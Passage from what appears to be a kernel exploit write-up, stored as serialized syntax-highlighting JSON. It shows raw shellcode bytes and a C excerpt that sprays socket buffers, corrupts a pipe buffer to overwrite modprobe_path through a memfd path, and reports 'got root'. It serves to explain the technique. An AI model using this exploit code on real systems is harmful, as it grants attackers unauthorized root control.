,60826,60830,60834,60838],{"type":24,"tag":158,"props":60784,"children":60785},{"style":496},[60786],{"type":29,"value":60443},{"type":24,"tag":158,"props":60788,"children":60789},{"style":188},[60790],{"type":29,"value":60385},{"type":24,"tag":158,"props":60792,"children":60793},{"style":222},[60794],{"type":29,"value":728},{"type":24,"tag":158,"props":60796,"children":60797},{"style":465},[60798],{"type":29,"value":60799}," 0x2a",{"type":24,"tag":158,"props":60801,"children":60802},{"style":188},[60803],{"type":29,"value":191},{"type":24,"tag":158,"props":60805,"children":60806},{"style":1108},[60807],{"type":29,"value":21303},{"type":24,"tag":158,"props":60809,"children":60810},{"style":49644},[60811],{"type":29,"value":60812},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":24,"tag":158,"props":60814,"children":60815},{"style":1108},[60816],{"type":29,"value":21303},{"type":24,"tag":158,"props":60818,"children":60819},{"style":188},[60820],{"type":29,"value":191},{"type":24,"tag":158,"props":60822,"children":60823},{"style":465},[60824],{"type":29,"value":60825},"24",{"type":24,"tag":158,"props":60827,"children":60828},{"style":188},[60829],{"type":29,"value":723},{"type":24,"tag":158,"props":60831,"children":60832},{"style":222},[60833],{"type":29,"value":1034},{"type":24,"tag":158,"props":60835,"children":60836},{"style":465},[60837],{"type":29,"value":2025},{"type":24,"tag":158,"props":60839,"children":60840},{"style":222},[60841],{"type":29,"value":53956},{"type":24,"tag":158,"props":60843,"children":60844},{"class":160,"line":1618},[60845,60849,60853,60857,60862,60866,60870,60875,60879,60883,60888,60892,60896,60900],{"type":24,"tag":158,"props":60846,"children":60847},{"style":496},[60848],{"type":29,"value":60443},{"type":24,"tag":158,"props":60850,"children":60851},{"style":188},[60852],{"type":29,"value":60385},{"type":24,"tag":158,"props":60854,"children":60855},{"style":222},[60856],{"type":29,"value":728},{"type":24,"tag":158,"props":60858,"children":60859},{"style":465},[60860],{"type":29,"value":60861}," 0x45",{"type":24,"tag":158,"props":60863,"children":60864},{"style":188},[60865],{"type":29,"value":191},{"type":24,"tag":158,"props":60867,"children":60868},{"style":1108},[60869],{"type":29,"value":21303},{"type":24,"tag":158,"props":60871,"children":60872},{"style":49644},[60873],{"type":29,"value":60874},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":24,"tag":158,"props":60876,"children":60877},{"style":1108},[60878],{"type":29,"value":21303},{"type":24,"tag":158,"props":60880,"children":60881},{"style":188},[60882],{"type":29,"value":191},{"type":24,"tag":158,"props":60884,"children":60885},{"style":465},[60886],{"type":29,"value":60887},"15",{"type":24,"tag":158,"props":60889,"children":60890},{"style":188},[60891],{"type":29,"value":723},{"type":24,"tag":158,"props":60893,"children":60894},{"style":222},[60895],{"type":29,"value":1034},{"type":24,"tag":158,"props":60897,"children":60898},{"style":465},[60899],{"type":29,"value":2025},{"type":24,"tag":158,"props":60901,"children":60902},{"style":222},[60903],{"type":29,"value":53956},{"type":24,"tag":158,"props":60905,"children":60906},{"class":160,"line":1635},[60907,60911,60915,60919,60924,60928,60932,60937,60941,60945,60949,60953,60957,60961],{"type":24,"tag":158,"props":60908,"children":60909},{"style":496},[60910],{"type":29,"value":60443},{"type":24,"tag":158,"props":60912,"children":60913},{"style":188},[60914],{"type":29,"value":60385},{"type":24,"tag":158,"props":60916,"children":60917},{"style":222},[60918],{"type":29,"value":728},{"type":24,"tag":158,"props":60920,"children":60921},{"style":465},[60922],{"type":29,"value":60923}," 0x55",{"type":24,"tag":158,"props":60925,"children":60926},{"style":188},[60927],{"type":29,"value":191},{"type":24,"tag":158,"props":60929,"children":60930},{"style":1108},[60931],{"type":29,"value":21303},{"type":24,"tag":158,"props":60933,"children":60934},{"style":49644},[60935],{"type":29,"value":60936},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":24,"tag":158,"props":60938,"children":60939},{"style":1108},[60940],{"type":29,"value":21303},{"type":24,"tag":158,"props":60942,"children":60943},{"style":188},[60944],{"type":29,"value":191},{"type":24,"tag":158,"props":60946,"children":60947},{"style":465},[60948],{"type":29,"value":5736},{"type":24,"tag":158,"props":60950,"children":60951},{"style":188},[60952],{"type":29,"value":723},{"type":24,"tag":158,"props":60954,"children":60955},{"style":222},[60956],{"type":29,"value":1034},{"type":24,"tag":158,"props":60958,"children":60959},{"style":465},[60960],{"type":29,"value":2025},{"type":24,"tag":158,"props":60962,"children":60963},{"style":222},[60964],{"type":29,"value":53956},{"type":24,"tag":158,"props":60966,"children":60967},{"class":160,"line":1644},[60968,60972,60976,60980,60985,60989,60993,60998,61002,61006,61010,61014,61018,61022],{"type":24,"tag":158,"props":60969,"children":60970},{"style":496},[60971],{"type":29,"value":60443},{"type":24,"tag":158,"props":60973,"children":60974},{"style":188},[60975],{"type":29,"value":60385},{"type":24,"tag":158,"props":60977,"children":60978},{"style":222},[60979],{"type":29,"value":728},{"type":24,"tag":158,"props":60981,"children":60982},{"style":465},[60983],{"type":29,"value":60984}," 0x61",{"type":24,"tag":158,"props":60986,"children":60987},{"style":188},[60988],{"type":29,"value":191},{"type":24,"tag":158,"props":60990,"children":60991},{"style":1108},[60992],{"type":29,"value":21303},{"type":24,"tag":158,"props":60994,"children":60995},{"style":49644},[60996],{"type":29,"value":60997},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":24,"tag":158,"props":60999,"children":61000},{"style":1108},[61001],{"type":29,"value":21303},{"type":24,"tag":158,"props":61003,"children":61004},{"style":188},[61005],{"type":29,"value":191},{"type":24,"tag":158,"props":61007,"children":61008},{"style":465},[61009],{"type":29,"value":19348},{"type":24,"tag":158,"props":61011,"children":61012},{"style":188},[61013],{"type":29,"value":723},{"type":24,"tag":158,"props":61015,"children":61016},{"style":222},[61017],{"type":29,"value":1034},{"type":24,"tag":158,"props":61019,"children":61020},{"style":465},[61021],{"type":29,"value":2025},{"type":24,"tag":158,"props":61023,"children":61024},{"style":222},[61025],{"type":29,"value":53956},{"type":24,"tag":158,"props":61027,"children":61028},{"class":160,"line":1652},[61029,61033,61037,61041,61046,61050,61054,61059,61063,61067,61071,61075,61079,61083],{"type":24,"tag":158,"props":61030,"children":61031},{"style":496},[61032],{"type":29,"value":60443},{"type":24,"tag":158,"props":61034,"children":61035},{"style":188},[61036],{"type":29,"value":60385},{"type":24,"tag":158,"props":61038,"children":61039},{"style":222},[61040],{"type":29,"value":728},{"type":24,"tag":158,"props":61042,"children":61043},{"style":465},[61044],{"type":29,"value":61045}," 0x6a",{"type":24,"tag":158,"props":61047,"children":61048},{"style":188},[61049],{"type":29,"value":191},{"type":24,"tag":158,"props":61051,"children":61052},{"style":1108},[61053],{"type":29,"value":21303},{"type":24,"tag":158,"props":61055,"children":61056},{"style":49644},[61057],{"type":29,"value":61058},"\\x48\\xc7\\xc6",{"type":24,"tag":158,"props":61060,"children":61061},{"style":1108},[61062],{"type":29,"value":21303},{"type":24,"tag":158,"props":61064,"children":61065},{"style":188},[61066],{"type":29,"value":191},{"type":24,"tag":158,"props":61068,"children":61069},{"style":465},[61070],{"type":29,"value":18534},{"type":24,"tag":158,"props":61072,"children":61073},{"style":188},[61074],{"type":29,"value":723},{"type":24,"tag":158,"props":61076,"children":61077},{"style":222},[61078],{"type":29,"value":1034},{"type":24,"tag":158,"props":61080,"children":61081},{"style":465},[61082],{"type":29,"value":2025},{"type":24,"tag":158,"props":61084,"children":61085},{"style":222},[61086],{"type":29,"value":53956},{"type":24,"tag":158,"props":61088,"children":61089},{"class":160,"line":1704},[61090,61094,61098,61102,61107,61111,61115,61120,61124,61128,61132,61136,61140,61144],{"type":24,"tag":158,"props":61091,"children":61092},{"style":496},[61093],{"type":29,"value":60443},{"type":24,"tag":158,"props":61095,"children":61096},{"style":188},[61097],{"type":29,"value":60385},{"type":24,"tag":158,"props":61099,"children":61100},{"style":222},[61101],{"type":29,"value":728},{"type":24,"tag":158,"props":61103,"children":61104},{"style":465},[61105],{"type":29,"value":61106}," 0x71",{"type":24,"tag":158,"props":61108,"children":61109},{"style":188},[61110],{"type":29,"value":191},{"type":24,"tag":158,"props":61112,"children":61113},{"style":1108},[61114],{"type":29,"value":21303},{"type":24,"tag":158,"props":61116,"children":61117},{"style":49644},[61118],{"type":29,"value":61119},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":24,"tag":158,"props":61121,"children":61122},{"style":1108},[61123],{"type":29,"value":21303},{"type":24,"tag":158,"props":61125,"children":61126},{"style":188},[61127],{"type":29,"value":191},{"type":24,"tag":158,"props":61129,"children":61130},{"style":465},[61131],{"type":29,"value":19660},{"type":24,"tag":158,"props":61133,"children":61134},{"style":188},[61135],{"type":29,"value":723},{"type":24,"tag":158,"props":61137,"children":61138},{"style":222},[61139],{"type":29,"value":1034},{"type":24,"tag":158,"props":61141,"children":61142},{"style":465},[61143],{"type":29,"value":2025},{"type":24,"tag":158,"props":61145,"children":61146},{"style":222},[61147],{"type":29,"value":53956},{"type":24,"tag":158,"props":61149,"children":61150},{"class":160,"line":1713},[61151,61155,61159,61163,61168,61172,61176,61181,61185,61189,61193,61197,61201,61205],{"type":24,"tag":158,"props":61152,"children":61153},{"style":496},[61154],{"type":29,"value":60443},{"type":24,"tag":158,"props":61156,"children":61157},{"style":188},[61158],{"type":29,"value":60385},{"type":24,"tag":158,"props":61160,"children":61161},{"style":222},[61162],{"type":29,"value":728},{"type":24,"tag":158,"props":61164,"children":61165},{"style":465},[61166],{"type":29,"value":61167}," 0x78",{"type":24,"tag":158,"props":61169,"children":61170},{"style":188},[61171],{"type":29,"value":191},{"type":24,"tag":158,"props":61173,"children":61174},{"style":1108},[61175],{"type":29,"value":21303},{"type":24,"tag":158,"props":61177,"children":61178},{"style":49644},[61179],{"type":29,"value":61180},"\\xff\\xe0",{"type":24,"tag":158,"props":61182,"children":61183},{"style":1108},[61184],{"type":29,"value":21303},{"type":24,"tag":158,"props":61186,"children":61187},{"style":188},[61188],{"type":29,"value":191},{"type":24,"tag":158,"props":61190,"children":61191},{"style":465},[61192],{"type":29,"value":4789},{"type":24,"tag":158,"props":61194,"children":61195},{"style":188},[61196],{"type":29,"value":723},{"type":24,"tag":158,"props":61198,"children":61199},{"style":222},[61200],{"type":29,"value":1034},{"type":24,"tag":158,"props":61202,"children":61203},{"style":465},[61204],{"type":29,"value":2025},{"type":24,"tag":158,"props":61206,"children":61207},{"style":188},[61208],{"type":29,"value":2125},{"type":24,"tag":158,"props":61210,"children":61211},{"class":160,"line":1731},[61212,61216,61220],{"type":24,"tag":158,"props":61213,"children":61214},{"style":1914},[61215],{"type":29,"value":16980},{"type":24,"tag":158,"props":61217,"children":61218},{"style":165},[61219],{"type":29,"value":3354},{"type":24,"tag":158,"props":61221,"children":61222},{"style":188},[61223],{"type":29,"value":473},{"type":24,"tag":158,"props":61225,"children":61226},{"class":160,"line":5485},[61227],{"type":24,"tag":158,"props":61228,"children":61229},{"emptyLinePlaceholder":16},[61230],{"type":29,"value":481},{"type":24,"tag":158,"props":61232,"children":61233},{"class":160,"line":5493},[61234,61238,61242],{"type":24,"tag":158,"props":61235,"children":61236},{"style":1914},[61237],{"type":29,"value":18227},{"type":24,"tag":158,"props":61239,"children":61240},{"style":165},[61241],{"type":29,"value":859},{"type":24,"tag":158,"props":61243,"children":61244},{"style":188},[61245],{"type":29,"value":473},{"type":24,"tag":158,"props":61247,"children":61248},{"class":160,"line":5553},[61249],{"type":24,"tag":158,"props":61250,"children":61251},{"style":188},[61252],{"type":29,"value":307},{"type":24,"tag":158,"props":61254,"children":61255},{"class":160,"line":10636},[61256],{"type":24,"tag":158,"props":61257,"children":61258},{"style":188},[61259],{"type":29,"value":1136},{"type":24,"tag":395,"props":61261,"children":61263},{"id":61262},"overwriting-modprobe_path",[61264,61266],{"type":29,"value":61265},"Overwriting ",{"type":24,"tag":154,"props":61267,"children":61269},{"className":61268},[],[61270],{"type":29,"value":59651},{"type":24,"tag":25,"props":61272,"children":61273},{},[61274,61276,61282],{"type":29,"value":61275},"Finding the ",{"type":24,"tag":154,"props":61277,"children":61279},{"className":61278},[],[61280],{"type":29,"value":61281},"/sbin/modprobe",{"type":29,"value":61283}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":24,"tag":25,"props":61285,"children":61286},{},[61287,61289,61295],{"type":29,"value":61288},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":24,"tag":154,"props":61290,"children":61292},{"className":61291},[],[61293],{"type":29,"value":61294},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":61296}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":24,"tag":147,"props":61298,"children":61300},{"className":30369,"code":61299,"language":30371,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[61301],{"type":24,"tag":154,"props":61302,"children":61303},{"__ignoreMap":7},[61304,61311,61333,61341,61348,61356,61364,61372,61380,61387,61395,61402,61440,61451,61458,61465,61472,61499,61530,61537,61559,61572,61579,61637,61644,61672,61679,61686,61707,61714,61735,61746,61753,61760,61781,61788,61816,61829,61836,61843,61892,61899,61967,61974,61995,62015,62022,62029,62036,62056],{"type":24,"tag":158,"props":61305,"children":61306},{"class":160,"line":161},[61307],{"type":24,"tag":158,"props":61308,"children":61309},{"style":188},[61310],{"type":29,"value":1136},{"type":24,"tag":158,"props":61312,"children":61313},{"class":160,"line":213},[61314,61319,61324,61329],{"type":24,"tag":158,"props":61315,"children":61316},{"style":188},[61317],{"type":29,"value":61318}," puts(\"[*] ",{"type":24,"tag":158,"props":61320,"children":61321},{"style":171},[61322],{"type":29,"value":61323},"overwrite",{"type":24,"tag":158,"props":61325,"children":61326},{"style":171},[61327],{"type":29,"value":61328}," modprobe_path",{"type":24,"tag":158,"props":61330,"children":61331},{"style":1108},[61332],{"type":29,"value":57564},{"type":24,"tag":158,"props":61334,"children":61335},{"class":160,"line":238},[61336],{"type":24,"tag":158,"props":61337,"children":61338},{"style":1108},[61339],{"type":29,"value":61340}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":24,"tag":158,"props":61342,"children":61343},{"class":160,"line":259},[61344],{"type":24,"tag":158,"props":61345,"children":61346},{"style":1108},[61347],{"type":29,"value":30446},{"type":24,"tag":158,"props":61349,"children":61350},{"class":160,"line":280},[61351],{"type":24,"tag":158,"props":61352,"children":61353},{"style":1108},[61354],{"type":29,"value":61355}," pipebuf->page = modprobe_page;\n",{"type":24,"tag":158,"props":61357,"children":61358},{"class":160,"line":301},[61359],{"type":24,"tag":158,"props":61360,"children":61361},{"style":1108},[61362],{"type":29,"value":61363}," pipebuf->offset = modprobe_off;\n",{"type":24,"tag":158,"props":61365,"children":61366},{"class":160,"line":626},[61367],{"type":24,"tag":158,"props":61368,"children":61369},{"style":1108},[61370],{"type":29,"value":61371}," pipebuf->len = 0;\n",{"type":24,"tag":158,"props":61373,"children":61374},{"class":160,"line":668},[61375],{"type":24,"tag":158,"props":61376,"children":61377},{"style":1108},[61378],{"type":29,"value":61379}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":24,"tag":158,"props":61381,"children":61382},{"class":160,"line":676},[61383],{"type":24,"tag":158,"props":61384,"children":61385},{"style":1108},[61386],{"type":29,"value":32920},{"type":24,"tag":158,"props":61388,"children":61389},{"class":160,"line":684},[61390],{"type":24,"tag":158,"props":61391,"children":61392},{"style":1108},[61393],{"type":29,"value":61394}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":24,"tag":158,"props":61396,"children":61397},{"class":160,"line":700},[61398],{"type":24,"tag":158,"props":61399,"children":61400},{"style":1108},[61401],{"type":29,"value":32956},{"type":24,"tag":158,"props":61403,"children":61404},{"class":160,"line":785},[61405,61410,61414,61418,61422,61427,61431,61435],{"type":24,"tag":158,"props":61406,"children":61407},{"style":1108},[61408],{"type":29,"value":61409}," perror(\"",{"type":24,"tag":158,"props":61411,"children":61412},{"style":188},[61413],{"type":29,"value":2048},{"type":24,"tag":158,"props":61415,"children":61416},{"style":222},[61417],{"type":29,"value":5987},{"type":24,"tag":158,"props":61419,"children":61420},{"style":188},[61421],{"type":29,"value":2058},{"type":24,"tag":158,"props":61423,"children":61424},{"style":171},[61425],{"type":29,"value":61426},"write",{"type":24,"tag":158,"props":61428,"children":61429},{"style":188},[61430],{"type":29,"value":504},{"type":24,"tag":158,"props":61432,"children":61433},{"style":171},[61434],{"type":29,"value":43204},{"type":24,"tag":158,"props":61436,"children":61437},{"style":188},[61438],{"type":29,"value":61439},")\");\n",{"type":24,"tag":158,"props":61441,"children":61442},{"class":160,"line":1447},[61443,61447],{"type":24,"tag":158,"props":61444,"children":61445},{"style":1914},[61446],{"type":29,"value":60233},{"type":24,"tag":158,"props":61448,"children":61449},{"style":188},[61450],{"type":29,"value":473},{"type":24,"tag":158,"props":61452,"children":61453},{"class":160,"line":1509},[61454],{"type":24,"tag":158,"props":61455,"children":61456},{"style":188},[61457],{"type":29,"value":60158},{"type":24,"tag":158,"props":61459,"children":61460},{"class":160,"line":1527},[61461],{"type":24,"tag":158,"props":61462,"children":61463},{"style":188},[61464],{"type":29,"value":5010},{"type":24,"tag":158,"props":61466,"children":61467},{"class":160,"line":1545},[61468],{"type":24,"tag":158,"props":61469,"children":61470},{"emptyLinePlaceholder":16},[61471],{"type":29,"value":481},{"type":24,"tag":158,"props":61473,"children":61474},{"class":160,"line":1618},[61475,61479,61483,61487,61491,61495],{"type":24,"tag":158,"props":61476,"children":61477},{"style":496},[61478],{"type":29,"value":55889},{"type":24,"tag":158,"props":61480,"children":61481},{"style":188},[61482],{"type":29,"value":504},{"type":24,"tag":158,"props":61484,"children":61485},{"style":222},[61486],{"type":29,"value":2212},{"type":24,"tag":158,"props":61488,"children":61489},{"style":188},[61490],{"type":29,"value":60044},{"type":24,"tag":158,"props":61492,"children":61493},{"style":465},[61494],{"type":29,"value":5682},{"type":24,"tag":158,"props":61496,"children":61497},{"style":188},[61498],{"type":29,"value":60053},{"type":24,"tag":158,"props":61500,"children":61501},{"class":160,"line":1635},[61502,61506,61511,61515,61520,61525],{"type":24,"tag":158,"props":61503,"children":61504},{"style":496},[61505],{"type":29,"value":56590},{"type":24,"tag":158,"props":61507,"children":61508},{"style":188},[61509],{"type":29,"value":61510},"(fd_path, ",{"type":24,"tag":158,"props":61512,"children":61513},{"style":165},[61514],{"type":29,"value":56600},{"type":24,"tag":158,"props":61516,"children":61517},{"style":188},[61518],{"type":29,"value":61519},"(fd_path), ",{"type":24,"tag":158,"props":61521,"children":61522},{"style":1108},[61523],{"type":29,"value":61524},"\"/proc/%i/fd/%i\"",{"type":24,"tag":158,"props":61526,"children":61527},{"style":188},[61528],{"type":29,"value":61529},", i, modprobe_fd);\n",{"type":24,"tag":158,"props":61531,"children":61532},{"class":160,"line":1644},[61533],{"type":24,"tag":158,"props":61534,"children":61535},{"emptyLinePlaceholder":16},[61536],{"type":29,"value":481},{"type":24,"tag":158,"props":61538,"children":61539},{"class":160,"line":1652},[61540,61545,61550,61554],{"type":24,"tag":158,"props":61541,"children":61542},{"style":496},[61543],{"type":29,"value":61544}," lseek",{"type":24,"tag":158,"props":61546,"children":61547},{"style":188},[61548],{"type":29,"value":61549},"(modprobe_fd, ",{"type":24,"tag":158,"props":61551,"children":61552},{"style":465},[61553],{"type":29,"value":5682},{"type":24,"tag":158,"props":61555,"children":61556},{"style":188},[61557],{"type":29,"value":61558},", SEEK_SET);\n",{"type":24,"tag":158,"props":61560,"children":61561},{"class":160,"line":1704},[61562,61567],{"type":24,"tag":158,"props":61563,"children":61564},{"style":496},[61565],{"type":29,"value":61566}," dprintf",{"type":24,"tag":158,"props":61568,"children":61569},{"style":188},[61570],{"type":29,"value":61571},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":24,"tag":158,"props":61573,"children":61574},{"class":160,"line":1713},[61575],{"type":24,"tag":158,"props":61576,"children":61577},{"emptyLinePlaceholder":16},[61578],{"type":29,"value":481},{"type":24,"tag":158,"props":61580,"children":61581},{"class":160,"line":1731},[61582,61586,61590,61594,61598,61602,61607,61611,61616,61621,61625,61629,61633],{"type":24,"tag":158,"props":61583,"children":61584},{"style":1914},[61585],{"type":29,"value":4936},{"type":24,"tag":158,"props":61587,"children":61588},{"style":188},[61589],{"type":29,"value":2262},{"type":24,"tag":158,"props":61591,"children":61592},{"style":496},[61593],{"type":29,"value":61426},{"type":24,"tag":158,"props":61595,"children":61596},{"style":188},[61597],{"type":29,"value":504},{"type":24,"tag":158,"props":61599,"children":61600},{"style":177},[61601],{"type":29,"value":60097},{"type":24,"tag":158,"props":61603,"children":61604},{"style":188},[61605],{"type":29,"value":61606},"[pipe_idx][",{"type":24,"tag":158,"props":61608,"children":61609},{"style":465},[61610],{"type":29,"value":5672},{"type":24,"tag":158,"props":61612,"children":61613},{"style":188},[61614],{"type":29,"value":61615},"], fd_path, ",{"type":24,"tag":158,"props":61617,"children":61618},{"style":465},[61619],{"type":29,"value":61620},"32",{"type":24,"tag":158,"props":61622,"children":61623},{"style":188},[61624],{"type":29,"value":723},{"type":24,"tag":158,"props":61626,"children":61627},{"style":222},[61628],{"type":29,"value":3760},{"type":24,"tag":158,"props":61630,"children":61631},{"style":465},[61632],{"type":29,"value":2025},{"type":24,"tag":158,"props":61634,"children":61635},{"style":188},[61636],{"type":29,"value":2125},{"type":24,"tag":158,"props":61638,"children":61639},{"class":160,"line":5485},[61640],{"type":24,"tag":158,"props":61641,"children":61642},{"style":188},[61643],{"type":29,"value":32920},{"type":24,"tag":158,"props":61645,"children":61646},{"class":160,"line":5493},[61647,61651,61655,61659,61663,61668],{"type":24,"tag":158,"props":61648,"children":61649},{"style":496},[61650],{"type":29,"value":59170},{"type":24,"tag":158,"props":61652,"children":61653},{"style":188},[61654],{"type":29,"value":504},{"type":24,"tag":158,"props":61656,"children":61657},{"style":1108},[61658],{"type":29,"value":21303},{"type":24,"tag":158,"props":61660,"children":61661},{"style":49644},[61662],{"type":29,"value":49647},{"type":24,"tag":158,"props":61664,"children":61665},{"style":1108},[61666],{"type":29,"value":61667},"[-] write(pipe)\"",{"type":24,"tag":158,"props":61669,"children":61670},{"style":188},[61671],{"type":29,"value":1071},{"type":24,"tag":158,"props":61673,"children":61674},{"class":160,"line":5553},[61675],{"type":24,"tag":158,"props":61676,"children":61677},{"style":188},[61678],{"type":29,"value":5010},{"type":24,"tag":158,"props":61680,"children":61681},{"class":160,"line":10636},[61682],{"type":24,"tag":158,"props":61683,"children":61684},{"emptyLinePlaceholder":16},[61685],{"type":29,"value":481},{"type":24,"tag":158,"props":61687,"children":61688},{"class":160,"line":10652},[61689,61693,61697,61702],{"type":24,"tag":158,"props":61690,"children":61691},{"style":1914},[61692],{"type":29,"value":4936},{"type":24,"tag":158,"props":61694,"children":61695},{"style":188},[61696],{"type":29,"value":2262},{"type":24,"tag":158,"props":61698,"children":61699},{"style":496},[61700],{"type":29,"value":61701},"check_modprobe",{"type":24,"tag":158,"props":61703,"children":61704},{"style":188},[61705],{"type":29,"value":61706},"(fd_path))\n",{"type":24,"tag":158,"props":61708,"children":61709},{"class":160,"line":10696},[61710],{"type":24,"tag":158,"props":61711,"children":61712},{"style":188},[61713],{"type":29,"value":32920},{"type":24,"tag":158,"props":61715,"children":61716},{"class":160,"line":10801},[61717,61722,61726,61731],{"type":24,"tag":158,"props":61718,"children":61719},{"style":496},[61720],{"type":29,"value":61721}," puts",{"type":24,"tag":158,"props":61723,"children":61724},{"style":188},[61725],{"type":29,"value":504},{"type":24,"tag":158,"props":61727,"children":61728},{"style":1108},[61729],{"type":29,"value":61730},"\"[-] failed to overwrite modprobe\"",{"type":24,"tag":158,"props":61732,"children":61733},{"style":188},[61734],{"type":29,"value":1071},{"type":24,"tag":158,"props":61736,"children":61737},{"class":160,"line":24754},[61738,61742],{"type":24,"tag":158,"props":61739,"children":61740},{"style":1914},[61741],{"type":29,"value":4961},{"type":24,"tag":158,"props":61743,"children":61744},{"style":188},[61745],{"type":29,"value":473},{"type":24,"tag":158,"props":61747,"children":61748},{"class":160,"line":24789},[61749],{"type":24,"tag":158,"props":61750,"children":61751},{"style":188},[61752],{"type":29,"value":5010},{"type":24,"tag":158,"props":61754,"children":61755},{"class":160,"line":24797},[61756],{"type":24,"tag":158,"props":61757,"children":61758},{"emptyLinePlaceholder":16},[61759],{"type":29,"value":481},{"type":24,"tag":158,"props":61761,"children":61762},{"class":160,"line":24805},[61763,61767,61771,61776],{"type":24,"tag":158,"props":61764,"children":61765},{"style":1914},[61766],{"type":29,"value":4936},{"type":24,"tag":158,"props":61768,"children":61769},{"style":188},[61770],{"type":29,"value":2262},{"type":24,"tag":158,"props":61772,"children":61773},{"style":496},[61774],{"type":29,"value":61775},"trigger_modprobe",{"type":24,"tag":158,"props":61777,"children":61778},{"style":188},[61779],{"type":29,"value":61780},"(status_fd))\n",{"type":24,"tag":158,"props":61782,"children":61783},{"class":160,"line":24814},[61784],{"type":24,"tag":158,"props":61785,"children":61786},{"style":188},[61787],{"type":29,"value":32920},{"type":24,"tag":158,"props":61789,"children":61790},{"class":160,"line":24856},[61791,61795,61799,61803,61807,61812],{"type":24,"tag":158,"props":61792,"children":61793},{"style":496},[61794],{"type":29,"value":61721},{"type":24,"tag":158,"props":61796,"children":61797},{"style":188},[61798],{"type":29,"value":504},{"type":24,"tag":158,"props":61800,"children":61801},{"style":1108},[61802],{"type":29,"value":21303},{"type":24,"tag":158,"props":61804,"children":61805},{"style":49644},[61806],{"type":29,"value":49647},{"type":24,"tag":158,"props":61808,"children":61809},{"style":1108},[61810],{"type":29,"value":61811},"[+] got root\"",{"type":24,"tag":158,"props":61813,"children":61814},{"style":188},[61815],{"type":29,"value":1071},{"type":24,"tag":158,"props":61817,"children":61818},{"class":160,"line":24889},[61819,61824],{"type":24,"tag":158,"props":61820,"children":61821},{"style":1914},[61822],{"type":29,"value":61823}," goto",{"type":24,"tag":158,"props":61825,"children":61826},{"style":188},[61827],{"type":29,"value":61828}," out;\n",{"type":24,"tag":158,"props":61830,"children":61831},{"class":160,"line":24897},[61832],{"type":24,"tag":158,"props":61833,"children":61834},{"style":188},[61835],{"type":29,"value":5010},{"type":24,"tag":158,"props":61837,"children":61838},{"class":160,"line":24905},[61839],{"type":24,"tag":158,"props":61840,"children":61841},{"emptyLinePlaceholder":16},[61842],{"type":29,"value":481},{"type":24,"tag":158,"props":61844,"children":61845},{"class":160,"line":24914},[61846,61851,61855,61859,61863,61867,61871,61875,61879,61884,61888],{"type":24,"tag":158,"props":61847,"children":61848},{"style":1914},[61849],{"type":29,"value":61850}," for",{"type":24,"tag":158,"props":61852,"children":61853},{"style":188},[61854],{"type":29,"value":2262},{"type":24,"tag":158,"props":61856,"children":61857},{"style":165},[61858],{"type":29,"value":20289},{"type":24,"tag":158,"props":61860,"children":61861},{"style":188},[61862],{"type":29,"value":55816},{"type":24,"tag":158,"props":61864,"children":61865},{"style":222},[61866],{"type":29,"value":1285},{"type":24,"tag":158,"props":61868,"children":61869},{"style":465},[61870],{"type":29,"value":2025},{"type":24,"tag":158,"props":61872,"children":61873},{"style":188},[61874],{"type":29,"value":52505},{"type":24,"tag":158,"props":61876,"children":61877},{"style":222},[61878],{"type":29,"value":3760},{"type":24,"tag":158,"props":61880,"children":61881},{"style":188},[61882],{"type":29,"value":61883}," SKBUF_SPRAY; 